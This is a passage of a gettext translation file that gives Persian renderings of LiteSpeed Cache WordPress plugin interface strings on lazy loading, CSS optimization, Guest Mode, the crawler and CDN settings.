
#: tpl/page_optm/settings_vpi.tpl.php:38
msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."
msgstr "سرویس تصاویر نمای تشخیص می‌دهد که کدام تصاویر در بالای صفحه ظاهر می‌شوند و آن‌ها را از بارگذاری تنبل مستثنی می‌کند."

#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "When you use Lazy Load, it will delay the loading of all images on a page."
msgstr "زمانی که از بارگذاری تنبل استفاده می‌کنید، بارگذاری تمام تصاویر در یک صفحه را به تأخیر می‌اندازد."

#: tpl/page_optm/settings_media.tpl.php:259
msgid "Use %1$s to bypass remote image dimension check when %2$s is ON."
msgstr "از %1$s برای دور زدن بررسی ابعاد تصویر از راه دور زمانی که %2$s فعال است استفاده کنید."

#: tpl/page_optm/entry.tpl.php:20
msgid "VPI"
msgstr "VPI"

#: tpl/general/settings.tpl.php:72 tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "%s must be turned ON for this setting to work."
msgstr "برای اینکه این تنظیم کار کند، %s باید روشن باشد."

#: tpl/dash/dashboard.tpl.php:755
msgid "Viewport Image"
msgstr "تصویر نمای"

#: tpl/crawler/blacklist.tpl.php:79
msgid "API: Filter %s available to disable blocklist."
msgstr "فیلتر %s برای غیرفعال کردن لیست سیاه در دسترس است."

#: tpl/crawler/blacklist.tpl.php:69
msgid "API: PHP Constant %s available to disable blocklist."
msgstr "ثابت PHP %s برای غیرفعال کردن لیست سیاه در دسترس است"

#: thirdparty/litespeed-check.cls.php:75 thirdparty/litespeed-check.cls.php:123
msgid "Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:"
msgstr "لطفاً افزونه‌های شناسایی شده زیر را غیرفعال کنید، زیرا ممکن است آن‌ها با LiteSpeed ​​Cache تداخل داشته باشند:"

#: src/metabox.cls.php:33
msgid "Mobile"
msgstr "موبایل"

#: src/metabox.cls.php:31
msgid "Disable VPI"
msgstr "غیرفعال کردن VPI"

#: src/metabox.cls.php:30
msgid "Disable Image Lazyload"
msgstr "غیرفعال کردن لود تنبل تصاویر"

#: src/metabox.cls.php:29
msgid "Disable Cache"
msgstr "غیرفعال کردن کش"

#: src/lang.cls.php:264
msgid "Debug String Excludes"
msgstr "استثناهای رشته اشکال‌زدایی"

#: src/lang.cls.php:203
msgid "Viewport Images Cron"
msgstr "کرون تصاویر نمای"

#: src/lang.cls.php:202 src/metabox.cls.php:32 src/metabox.cls.php:33
#: tpl/page_optm/settings_vpi.tpl.php:23
msgid "Viewport Images"
msgstr "تصاویر نمای دید"

#: src/lang.cls.php:53
msgid "Alias is in use by another QUIC.cloud account."
msgstr "نام مستعار توسط حساب دیگری در QUIC.cloud در حال استفاده است"

#: src/lang.cls.php:51
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain."
msgstr "نمی‌توان به‌طور خودکار %1$s را به‌عنوان یک نام مستعار دامنه برای دامنه اصلی %2$s اضافه کرد"

#: src/lang.cls.php:46
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict."
msgstr "به‌دلیل احتمال تداخل CDN، نمی‌توان به‌طور خودکار %1$s را به‌عنوان یک نام مستعار دامنه برای دامنه اصلی %2$s اضافه کرد"

#: src/error.cls.php:232
msgid "You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible."
msgstr "شما نمی‌توانید این ناحیه DNS را حذف کنید، زیرا هنوز در حال استفاده است. لطفاً نام‌سرورهای دامنه را به‌روزرسانی کنید، سپس دوباره سعی کنید این ناحیه را حذف کنید، در غیر این صورت سایت شما غیرقابل دسترسی خواهد شد"

#: src/error.cls.php:135
msgid "The site is not a valid alias on QUIC.cloud."
msgstr "این سایت یک نام مستعار معتبر در QUIC.cloud نیست."

#: tpl/page_optm/settings_localization.tpl.php:141
msgid "Please thoroughly test each JS file you add to ensure it functions as expected."
msgstr "لطفاً هر فایل JS که اضافه می‌کنید را به‌طور کامل آزمایش کنید تا اطمینان حاصل شود که به‌درستی کار می‌کند."

#: tpl/page_optm/settings_localization.tpl.php:108
msgid "Please thoroughly test all items in %s to ensure they function as expected."
msgstr "لطفاً تمام موارد موجود در %s را به‌طور کامل آزمایش کنید تا اطمینان حاصل شود که به‌درستی کار می‌کنند."

#: tpl/page_optm/settings_tuning_css.tpl.php:100
msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s."
msgstr "از %1$s برای دور زدن UCSS برای صفحاتی که نوع صفحه آن %2$s است استفاده کنید."

#: tpl/page_optm/settings_tuning_css.tpl.php:99
msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."
msgstr "از %1$s برای تولید یک UCSS واحد برای صفحاتی که نوع صفحه آن %2$s است استفاده کنید در حالی که سایر نوع صفحات هنوز به ازای URL هستند."

#: tpl/page_optm/settings_css.tpl.php:87
msgid "Filter %s available for UCSS per page type generation."
msgstr "فیلتر %s برای تولید UCSS در هر نوع برگه در دسترس است."

#: tpl/general/settings_inc.guest.tpl.php:45
#: tpl/general/settings_inc.guest.tpl.php:48
msgid "Guest Mode failed to test."
msgstr "حالت مهمان در آزمایش شکست خورد."

#: tpl/general/settings_inc.guest.tpl.php:42
msgid "Guest Mode passed testing."
msgstr "حالت مهمان تست را پشت سر گذاشت."

#: tpl/general/settings_inc.guest.tpl.php:35
msgid "Testing"
msgstr "آزمودن"

#: tpl/general/settings_inc.guest.tpl.php:34
msgid "Guest Mode testing result"
msgstr "نتیجه تست حالت مهمان"

#: tpl/crawler/blacklist.tpl.php:87
msgid "Not blocklisted"
msgstr "در لیست سیاه نیست"

#: tpl/cache/settings_inc.cache_mobile.tpl.php:25
msgid "Learn more about when this is needed"
msgstr "درباره زمانی که این مورد نیاز است بیشتر بدانید"

#: src/purge.cls.php:345
msgid "Cleaned all localized resource entries."
msgstr "تمام ورودی‌های منبع محلی‌سازی شده پاک‌سازی شد."

#: tpl/toolbox/entry.tpl.php:24
msgid "View .htaccess"
msgstr "نمایش .htaccess"

#: tpl/toolbox/edit_htaccess.tpl.php:63 tpl/toolbox/edit_htaccess.tpl.php:81
msgid "You can use this code %1$s in %2$s to specify the htaccess file path."
msgstr "شما می توانید از این کد %1$s در %2$s برای مسیر فایل htaccess مشخص کنید."

#: tpl/toolbox/edit_htaccess.tpl.php:62 tpl/toolbox/edit_htaccess.tpl.php:80
msgid "PHP Constant %s is supported."
msgstr "ثابت PHP %s پشتیبانی می شود."

#: tpl/toolbox/edit_htaccess.tpl.php:58 tpl/toolbox/edit_htaccess.tpl.php:76
msgid "Default path is"
msgstr "مسیر پیشفرض است"

#: tpl/toolbox/edit_htaccess.tpl.php:46
msgid ".htaccess Path"
msgstr "مسیر .htaccess"

#: tpl/general/settings.tpl.php:49
msgid "Please read all warnings before enabling this option."
msgstr "لطفاً تمام اختطار ها را قبل از فعال کردن این گزینه بخوانید."

#: tpl/toolbox/purge.tpl.php:83
msgid "This will delete all generated unique CSS files"
msgstr "این عملیات تمامی فایل‌های CSS یکتای تولیدشده را حذف می‌کند"

#: tpl/toolbox/beta_test.tpl.php:84
msgid "In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions."
msgstr "برای جلوگیری از خطای ارتقا، شما باید از %1$s یا نسخه‌های جدیدتر استفاده کنید تا بتوانید به نسخه‌های %2$s ارتقا دهید."

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Use latest GitHub Dev/Master commit"
msgstr "استفاده از آخرین کامیت گیت هاب Dev/Master"

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing."
msgstr "برای استفاده از آخرین کامیت GitHub، دکمه %s را فشار دهید. Master برای نامزد انتشار و Dev برای آزمایش‌های تجربی است."

#: tpl/toolbox/beta_test.tpl.php:72
msgid "Downgrade not recommended. May cause fatal error due to refactored code."
msgstr "عقب گرد توصیه نمی‌شود. ممکن است به دلیل کد تغییر یافته باعث خطای مهلک شود."

#: tpl/page_optm/settings_tuning.tpl.php:144
msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."
msgstr "صفحات را فقط برای بازدیدکنندگان مهمان (واردنشده) بهینه کنید. اگر این حالت خاموش باشد، فایل‌های CSS/JS/CCSS توسط هر گروه کاربری دو برابر می‌شود."

#: tpl/page_optm/settings_tuning.tpl.php:106
msgid "Listed JS files or inline JS code will not be optimized by %s."
msgstr "فایل‌های JS فهرست‌شده یا کد JS توکار توسط %s بهینه‌سازی نخواهند شد."

#: tpl/page_optm/settings_tuning_css.tpl.php:92
msgid "Listed URI will not generate UCSS."
msgstr "URI فهرست شده UCSS تولید نخواهد کرد."

#: tpl/page_optm/settings_tuning_css.tpl.php:74
msgid "The selector must exist in the CSS. Parent classes in the HTML will not work."
msgstr "انتخاب‌گر باید در CSS وجود داشته باشد. کلاس‌های والد در HTML کار نخواهند کرد."

#: tpl/page_optm/settings_tuning_css.tpl.php:70
#: tpl/page_optm/settings_tuning_css.tpl.php:145
msgid "Wildcard %s supported."
msgstr "کاراکتر جایگزین %s پشتیبانی می‌شود."

#: tpl/page_optm/settings_media_exc.tpl.php:34
msgid "Useful for above-the-fold images causing CLS (a Core Web Vitals metric)."
msgstr "برای تصاویر بالای صفحه که باعث CLS (یک معیار Core Web Vitals) می‌شوند، مفید است"

#: tpl/page_optm/settings_media.tpl.php:248
msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."
msgstr "عرض و ارتفاع مشخصی را برای عناصر تصویر تنظیم کنید تا جابجایی‌های طرح را کاهش دهید و CLS (یک معیار Core Web Vitals) را بهبود بخشید."

#: tpl/page_optm/settings_media.tpl.php:141
msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu."
msgstr "تغییرات در این تنظیمات به LQIPهای قبلاً تولید شده اعمال نمی‌شود. برای بازتولید LQIPهای موجود، لطفاً ابتدا %s را از منوی نوار مدیریت انتخاب کنید."

#: tpl/page_optm/settings_js.tpl.php:79
msgid "Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric)."
msgstr "به تعویق انداختن تا زمانی که صفحه تجزیه شود یا تاخیر در تعامل می‌تواند به کاهش رقابت منابع و بهبود عملکرد کمک کند و باعث کاهش FID (معیار Core Web Vitals) شود"

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Delayed"
msgstr "با تاخیر"

#: tpl/page_optm/settings_js.tpl.php:52
msgid "JS error can be found from the developer console of browser by right clicking and choosing Inspect."
msgstr "خطای JS را می‌توان از کنسول توسعه‌دهنده مرورگر با کلیک راست و انتخاب Inspect پیدا کرد."

#: tpl/page_optm/settings_js.tpl.php:51 tpl/page_optm/settings_js.tpl.php:85
msgid "This option may result in a JS error or layout issue on frontend pages with certain themes/plugins."
msgstr "این گزینه ممکن است منجر به خطای JS یا مشکل چیدمان در صفحات جلویی با مضامین/افزونه های خاص شود."

#: tpl/page_optm/settings_html.tpl.php:147
msgid "This will also add a preconnect to Google Fonts to establish a connection earlier."
msgstr "این همچنین یک پیش‌اتصال به Google Fonts اضافه می‌کند تا ارتباط زودتر برقرار شود."

#: tpl/page_optm/settings_html.tpl.php:91
msgid "Delay rendering off-screen HTML elements by its selector."
msgstr "رندر کردن عناصر HTML خارج از صفحه را با انتخاب‌گر آن به تأخیر بیندازید."

#: tpl/page_optm/settings_css.tpl.php:314
msgid "Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder."
msgstr "این گزینه را غیرفعال کنید تا CCSS را بر اساس نوع پست به جای صفحه تولید کنید. این می‌تواند سهمیه CCSS قابل توجهی را ذخیره کند، اما ممکن است منجر به استایل نادرست CSS شود اگر سایت شما از یک سازنده صفحه استفاده کند."

#: tpl/page_optm/settings_css.tpl.php:230
msgid "This option is bypassed due to %s option."
msgstr "این گزینه به دلیل گزینه %s دور زده شده است."

#: tpl/page_optm/settings_css.tpl.php:224
msgid "Elements with attribute %s in HTML code will be excluded."
msgstr "عناصر با ویژگی %s در کد HTML حذف خواهند شد"

#: tpl/page_optm/settings_css.tpl.php:217
msgid "Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously."
msgstr "از سرویس آنلاین QUIC.cloud برای تولید CSS حیاتی و بارگیری CSS باقیمانده به صورت ناهمگام استفاده کنید."

#: tpl/page_optm/settings_css.tpl.php:181
msgid "This option will automatically bypass %s option."
msgstr "این گزینه به طور خودکار گزینه %s را دور می زند."

#: tpl/page_optm/settings_css.tpl.php:178
msgid "Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON."
msgstr "UCSS توکار برای کاهش بارگذاری اضافی فایل CSS. این گزینه به طور خودکار برای صفحات %1$s روشن نمی شود. برای استفاده در صفحات %1$s، لطفاً آن را روی روشن تنظیم نمایید."

#: tpl/page_optm/settings_css.tpl.php:155
#: tpl/page_optm/settings_css.tpl.php:160
#: tpl/page_optm/settings_css.tpl.php:292
#: tpl/page_optm/settings_css.tpl.php:297
#: tpl/page_optm/settings_vpi.tpl.php:100
#: tpl/page_optm/settings_vpi.tpl.php:105
msgid "Run %s Queue Manually"
msgstr "%s صف را به صورت دستی اجرا کنید"

#: tpl/page_optm/settings_css.tpl.php:93
msgid "This option is bypassed because %1$s option is %2$s."
msgstr "این گزینه دور زده شده است زیرا گزینه %1$s برابر با %2$s است."

#: tpl/page_optm/settings_css.tpl.php:85
msgid "Automatic generation of unique CSS is in the background via a cron-based queue."
msgstr "تولید خودکار CSS یکتا در پس‌زمینه از طریق یک صف مبتنی بر cron است."

#: tpl/page_optm/settings_css.tpl.php:83
msgid "This will drop the unused CSS on each page from the combined file."
msgstr "با این کار CSS استفاده نشده در هر صفحه از فایل ترکیبی حذف می شود."

#: tpl/page_optm/entry.tpl.php:18 tpl/page_optm/settings_html.tpl.php:17
msgid "HTML Settings"
msgstr "تنظیمات HTML"

#: tpl/inc/in_upgrading.php:15
msgid "LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade."
msgstr "افزونه کش لایت اسپید به‌روزرسانی شد. لطفا برای تکمیل به‌روزرسانی داده‌های پیکربندی صفحه را رفرش کنید."

#: tpl/general/settings_tuning.tpl.php:62
msgid "Listed IPs will be considered as Guest Mode visitors."
msgstr "IPهای فهرست شده به عنوان حالت مهمان در نظر گرفته می‌شوند."

#: tpl/general/settings_tuning.tpl.php:40
msgid "Listed User Agents will be considered as Guest Mode visitors."
msgstr "عوامل کاربر فهرست شده به عنوان حالت مهمان در نظر گرفته می‌شوند."

#: tpl/general/settings.tpl.php:64
msgid "Your %1$s quota on %2$s will still be in use."
msgstr "سهمیهٔ %1$s شما در %2$s همچنان در حال استفاده خواهد بود."

#: tpl/general/settings_inc.guest.tpl.php:27
msgid "This option can help to correct the cache vary for certain advanced mobile or tablet visitors."
msgstr "این گزینه می‌تواند به تصحیح حافظه پنهان متفاوت برای بازدیدکنندگان خاص موبایل پیشرفته یا تبلت کمک کند."

#: tpl/general/settings_inc.guest.tpl.php:26
msgid "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX."
msgstr "حالت مهمان یک برگه فرود همیشه قابل کش را برای اولین بازدید خودکار مهمان‌ها فراهم می‌کند، و سپس تلاش می‌کند تا کش‌ متفاوت را از طریق AJAX به‌روزرسانی کند."

#: tpl/general/settings.tpl.php:104
msgid "Please make sure this IP is the correct one for visiting your site."
msgstr "لطفا مطمئن شوید که این IP برای بازدید از سایت شما صحیح است."

#: tpl/general/settings.tpl.php:103
msgid "the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server."
msgstr "اگر یک مجموعه IP خروجی اضافی داشته باشید، یا چندین IP را روی سرور خود پیکربندی کرده باشید ممکن است شناسایی خودکار IP دقیق نباشد."

#: tpl/general/settings.tpl.php:86
msgid "You need to turn %s on and finish all WebP generation to get maximum result."
msgstr "شما نیاز دارید %s را روشن کنید و تولید WebP را تمام کنید تا بهترین نتیجه را بگیرید."

#: tpl/general/settings.tpl.php:79
msgid "You need to turn %s on to get maximum result."
msgstr "برای به دست آوردن حداکثر نتیجه نیاز دارید %s روشن کنید."

#: tpl/general/settings.tpl.php:48
msgid "This option enables maximum optimization for Guest Mode visitors."
msgstr "این گزینه بیشترین بهینه‌سازی را برای بازدیدکنندگان حالت مهمان فعال می کند."

#: tpl/dash/dashboard.tpl.php:54 tpl/dash/dashboard.tpl.php:81
#: tpl/dash/dashboard.tpl.php:520 tpl/dash/dashboard.tpl.php:597
#: tpl/dash/dashboard.tpl.php:624 tpl/dash/dashboard.tpl.php:668
#: tpl/dash/dashboard.tpl.php:712 tpl/dash/dashboard.tpl.php:756
#: tpl/dash/dashboard.tpl.php:800 tpl/dash/dashboard.tpl.php:847
msgid "More"
msgstr "بیشتر"

#: tpl/dash/dashboard.tpl.php:300
msgid "Remaining Daily Quota"
msgstr "سهمیه روزانه باقیمانده"

#: tpl/crawler/summary.tpl.php:246
msgid "Successfully Crawled"
msgstr "با موفقیت خزیده شد"

#: tpl/crawler/summary.tpl.php:245
msgid "Already Cached"
msgstr "قبلا کش شده"

#: tpl/crawler/settings.tpl.php:59
msgid "The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here."
msgstr "خزنده از نقشه سایت XML یا نمایه نقشه سایت شما استفاده خواهد کرد. آدرس کامل نقشه سایت خود را اینجا وارد کنید."

#: tpl/cdn/cf.tpl.php:48
msgid "Optional when API token used."
msgstr "اگر از API token استفاده می‌کنید اختیاری است."

#: tpl/cdn/cf.tpl.php:40
msgid "Recommended to generate the token from Cloudflare API token template \"WordPress\"."
msgstr "توصیه می‌شود توکن را از الگوی توکن API Cloudflare \"WordPress\" تولید کنید."

#: tpl/cdn/cf.tpl.php:35
msgid "Global API Key / API Token"
msgstr "کلید API جهانی / توکن API"

#: tpl/cdn/other.tpl.php:52
msgid "NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s."
msgstr "توجه: QUIC.cloud CDN و Cloudflare از CDN Mapping استفاده نمیکنند. اگر فقط از QUIC.cloud یا Cloudflare استفاده میکنید، این تنظیم را روی %s نگه دارید."

#: tpl/cdn/other.tpl.php:44
msgid "Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN."
msgstr "اگر از یک شبکه تحویل محتوای سنتی (CDN) یا یک زیر دامنه برای محتوای استاتیک با QUIC.cloud CDN استفاده می‌کنید، این تنظیم را روی %s قرار دهید."

#: tpl/cache/settings_inc.object.tpl.php:47
msgid "Use external object cache functionality."
msgstr "از قابلیت object cache خارجی استفاده نمایید."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:24
msgid "Serve a separate cache copy for mobile visitors."
msgstr "یک نسخه کش جدا برای بازدیدکنندگان موبایل ارائه دهید."

#: thirdparty/woocommerce.content.tpl.php:26
msgid "By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded."
msgstr "به طور پیش‌فرض، صفحات حساب من، تسویه حساب و سبد خرید به طور خودکار از کش کردن مستثنی می‌شوند. پیکربندی نادرست ارتباطات صفحات در تنظیمات ووکامرس ممکن است باعث شود برخی صفحات به اشتباه مستثنی شوند."

#: src/purge.cls.php:273
msgid "Cleaned all Unique CSS files."
msgstr "تمام فایل‌های CSS منحصر به فرد را پاک کرد."

#: src/lang.cls.php:201
msgid "Add Missing Sizes"
msgstr "اضافه کردن اندازه‌های گمشده"

#: src/lang.cls.php:176
msgid "Optimize for Guests Only"
msgstr "بهینه‌سازی فقط برای مهمانان"

#: src/lang.cls.php:172
msgid "Guest Mode JS Excludes"
msgstr "استثنائات JS حالت مهمان"

#: src/lang.cls.php:152
msgid "CCSS Per URL"
msgstr "CCSS به ازای هر URL"

#: src/lang.cls.php:149
msgid "HTML Lazy Load Selectors"
msgstr "انتخابگرهای بارگذاری تنبل HTML"

#: src/lang.cls.php:144
msgid "UCSS URI Excludes"
msgstr "استثناهای URI UCSS"

#: src/lang.cls.php:141
msgid "UCSS Inline"
msgstr "UCSS درون‌خطی"

#: src/lang.cls.php:101
msgid "Guest Optimization"
msgstr "بهینه‌سازی مهمان"

#: src/lang.cls.php:100
msgid "Guest Mode"
msgstr "حالت مهمان"

#: src/lang.cls.php:87
msgid "Guest Mode IPs"
msgstr "IP های حالت مهمان"

#: src/lang.cls.php:86
msgid "Guest Mode User Agents"
msgstr "عوامل کاربر حالت مهمان"

#: src/error.cls.php:151
msgid "Online node needs to be redetected."
msgstr "گره آنلاین نیاز به دوباره شناسایی دارد."

#: src/error.cls.php:147
msgid "The current server is under heavy load."
msgstr "سرور فعلی تحت بار سنگین است."

#: src/doc.cls.php:70
msgid "Please see %s for more details."
msgstr "لطفاً برای جزئیات بیشتر به %s مراجعه کنید."

#: src/doc.cls.php:54
msgid "This setting will regenerate crawler list and clear the disabled list!"
msgstr "این تنظیم لیست خزنده را دوباره تولید می کند و لیست غیرفعال را پاک می کند!"

#: src/gui.cls.php:82
msgid "%1$s %2$s files left in queue"
msgstr "%1$s %2$s فایل در صف باقی مانده است"

#: src/crawler.cls.php:145
msgid "Crawler disabled list is cleared! All crawlers are set to active! "
msgstr "لیست ربات‌های غیرفعال پاک شده است! همه ربات‌ها به حالت فعال تنظیم شده‌اند! "

#: src/cloud.cls.php:1510
msgid "Redetected node"
msgstr "گره دوباره شناسایی شده"

#: src/cloud.cls.php:1029
msgid "No available Cloud Node after checked server load."
msgstr "پس از بررسی بار سرور، هیچ نود ابری در دسترس نیست."

#: src/lang.cls.php:157
msgid "Localization Files"
msgstr "فایل‌های محلی‌سازی"

#: cli/purge.cls.php:234
msgid "Purged!"
msgstr "پاک شد!"

#: tpl/page_optm/settings_localization.tpl.php:130
msgid "Resources listed here will be copied and replaced with local URLs."
msgstr "منابع ذکر شده در اینجا کپی شده و با URLهای محلی جایگزین خواهند شد."

#: tpl/toolbox/beta_test.tpl.php:60
msgid "Use latest GitHub Master commit"
msgstr "از آخرین کامیت Master گیت‌هاب استفاده کنید"

#: tpl/toolbox/beta_test.tpl.php:56
msgid "Use latest GitHub Dev commit"
msgstr "از آخرین کامیت توسعه‌دهنده GitHub استفاده کنید"

#: src/crawler-map.cls.php:372
msgid "No valid sitemap parsed for crawler."
msgstr "هیچ نقشه سایت معتبری برای خزنده تجزیه نشده است."

#: src/lang.cls.php:139
msgid "CSS Combine External and Inline"
msgstr "CSS خارجی و درون خطی را ترکیب کنید"

#: tpl/page_optm/settings_css.tpl.php:195
msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine."
msgstr "CSS خارجی و CSS درون‌خط را در فایل ترکیبی شامل کنید زمانی که %1$s نیز فعال است. این گزینه به حفظ اولویت‌های CSS کمک می‌کند که باید خطاهای احتمالی ناشی از ترکیب CSS را به حداقل برساند."

#: tpl/page_optm/settings_css.tpl.php:46
msgid "Minify CSS files and inline CSS code."
msgstr "پرونده های CSS و کد داخلی CSS را کم کنید."

#: tpl/cache/settings-excludes.tpl.php:32
#: tpl/page_optm/settings_tuning_css.tpl.php:78
#: tpl/page_optm/settings_tuning_css.tpl.php:153
msgid "Predefined list will also be combined w/ the above settings"
msgstr "لیست از پیش تعریف شده نیز با تنظیمات فوق ترکیب خواهد شد"

#: tpl/page_optm/entry.tpl.php:22
msgid "Localization"
msgstr "بومی‌سازی"

#: tpl/page_optm/settings_js.tpl.php:66
msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine."
msgstr "JS خارجی و JS درون‌خط را در فایل ترکیبی شامل کنید زمانی که %1$s نیز فعال است. این گزینه به حفظ اولویت‌های اجرای JS کمک می‌کند که باید خطاهای احتمالی ناشی از ترکیب JS را به حداقل برساند."

#: tpl/page_optm/settings_js.tpl.php:47
msgid "Combine all local JS files into a single file."
msgstr "تمام فایل‌های JS محلی را در یک فایل واحد ترکیب کنید."

#: tpl/page_optm/settings_tuning.tpl.php:85
msgid "Listed JS files or inline JS code will not be deferred or delayed."
msgstr "فایل‌های JS فهرست‌شده یا کد JS توکار با تعویق یا تاخیر نخواهند بود."

#: src/lang.cls.php:147
msgid "JS Combine External and Inline"
msgstr "JS ترکیب خارجی و داخلی"

#: src/admin-display.cls.php:795 tpl/banner/new_version.php:114
#: tpl/banner/score.php:142 tpl/banner/slack.php:49
msgid "Dismiss"
msgstr "رد کردن"

#: tpl/cache/settings-esi.tpl.php:101
msgid "The latest data file is"
msgstr "آخرین فایل داده"

#: tpl/cache/settings-esi.tpl.php:100
msgid "The list will be merged with the predefined nonces in your local data file."
msgstr "این لیست با nonces از پیش تعریف شده در فایل داده محلی شما ادغام خواهد شد."

#: tpl/page_optm/settings_css.tpl.php:60
msgid "Combine CSS files and inline CSS code."
msgstr "فایل‌های CSS و کد CSS درون‌خطی را ترکیب کنید."

#: tpl/page_optm/settings_js.tpl.php:33
msgid "Minify JS files and inline JS codes."
msgstr "فایل‌های JS و کدهای JS درون‌خطی را کوچک‌سازی کنید."

#: tpl/page_optm/settings_tuning.tpl.php:63
msgid "Listed JS files or inline JS code will not be minified or combined."
msgstr "فایل‌های JS فهرست‌شده یا کد JS توکار فشرده/ترکیب نخواهند شد."

#: tpl/page_optm/settings_tuning_css.tpl.php:31
msgid "Listed CSS files or inline CSS code will not be minified or combined."
msgstr "فایل‌های CSS فهرست شده یا کد CSS توکار فشرده/ترکیب نخواهند شد."

#: src/admin-display.cls.php:1296
msgid "This value is overwritten by the Network setting."
msgstr "این مقدار توسط تنظیمات شبکه بازنویسی می‌شود."

#: src/lang.cls.php:190
msgid "LQIP Excludes"
msgstr "LQIP مستثنی می‌شود"

#: tpl/page_optm/settings_media_exc.tpl.php:132
msgid "These images will not generate LQIP."
msgstr "این تصاویر LQIP تولید نخواهند کرد."

#: tpl/toolbox/import_export.tpl.php:70
msgid "Are you sure you want to reset all settings back to the default settings?"
msgstr "آیا مطمئن هستید که می‌خواهید تمام تنظیمات را به تنظیمات پیش‌فرض بازنشانی کنید؟"

#: tpl/page_optm/settings_html.tpl.php:188
msgid "This option will remove all %s tags from HTML."
msgstr "این گزینه تمام تگ‌های %s را از HTML حذف خواهد کرد."

#: tpl/general/online.tpl.php:31
msgid "Are you sure you want to clear all cloud nodes?"
msgstr "آیا مطمئن هستید که می‌خواهید تمام گره‌های ابری را پاک کنید؟"

#: src/lang.cls.php:174 tpl/presets/standard.tpl.php:52
msgid "Remove Noscript Tags"
msgstr "برچسب‌های Noscript را حذف کنید"

#: src/error.cls.php:139
msgid "The site is not registered on QUIC.cloud."
msgstr "این سایت در QUIC.cloud ثبت نشده است."

#: src/error.cls.php:74 tpl/crawler/settings.tpl.php:123
#: tpl/crawler/settings.tpl.php:144 tpl/crawler/summary.tpl.php:218
msgid "Click here to set."
msgstr "برای ثبت کلیک کنید."

#: src/lang.cls.php:156
msgid "Localize Resources"
msgstr "بومی سازی منابع"

#: tpl/cache/settings_inc.browser.tpl.php:26
msgid "Setting Up Custom Headers"
msgstr "تنظیم هدرهای سفارشی"

#: tpl/toolbox/purge.tpl.php:92
msgid "This will delete all localized resources"
msgstr "این تمام منابع محلی‌سازی شده را حذف خواهد کرد"

#: src/gui.cls.php:628 src/gui.cls.php:810 tpl/toolbox/purge.tpl.php:91
msgid "Localized Resources"
msgstr "منابع محلی‌سازی شده"

#: tpl/page_optm/settings_localization.tpl.php:135
msgid "Comments are supported. Start a line with a %s to turn it into a comment line."
msgstr "نظرات پشتیبانی می‌شوند. یک خط را با %s شروع کنید تا آن را به یک خط نظر تبدیل کنید."

#: tpl/page_optm/settings_localization.tpl.php:131
msgid "HTTPS sources only."
msgstr "فقط منابع HTTPS ."

#: tpl/page_optm/settings_localization.tpl.php:104
msgid "Localize external resources."
msgstr "بومی سازی منابع خارجی."

#: tpl/page_optm/settings_localization.tpl.php:27
msgid "Localization Settings"
msgstr "تنظیمات محلی‌سازی"

#: tpl/page_optm/settings_css.tpl.php:82
msgid "Use QUIC.cloud online service to generate unique CSS."
msgstr "از سرویس آنلاین QUIC.cloud برای تولید CSS یکتا استفاده کنید."

#: src/lang.cls.php:140
msgid "Generate UCSS"
msgstr "تولید UCSS"

#: tpl/dash/dashboard.tpl.php:667 tpl/toolbox/purge.tpl.php:82
msgid "Unique CSS"
msgstr "CSS یکتا"

#: tpl/toolbox/purge.tpl.php:118
msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"
msgstr "کش entries ایجاد شده توسط این پلاگین را پاک کنید به جز کش های Critical CSS و Unique CSS و LQIP"

#: tpl/toolbox/report.tpl.php:58
msgid "LiteSpeed Report"
msgstr "گزارشِ لایت‌اسپید"

#: tpl/img_optm/summary.tpl.php:224
msgid "Image Thumbnail Group Sizes"
msgstr "سایز گروه تصویر بندانگشتی"

#. translators: %s: LiteSpeed Web Server version
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:27
msgid "Ignore certain query strings when caching. (LSWS %s required)"
msgstr "هنگام کش برخی از رشته‌های جستجو شده را نادیده بگیرید. ( LSWS %s لازم است)"

#: tpl/cache/settings-purge.tpl.php:116
msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge."
msgstr "برای پیوندهای دارای نمادگر گسترده، ممکن است در شروع پاکسازی برنامه‌ریزی شده تاخیر وجود داشته باشد."

#: tpl/cache/settings-purge.tpl.php:92
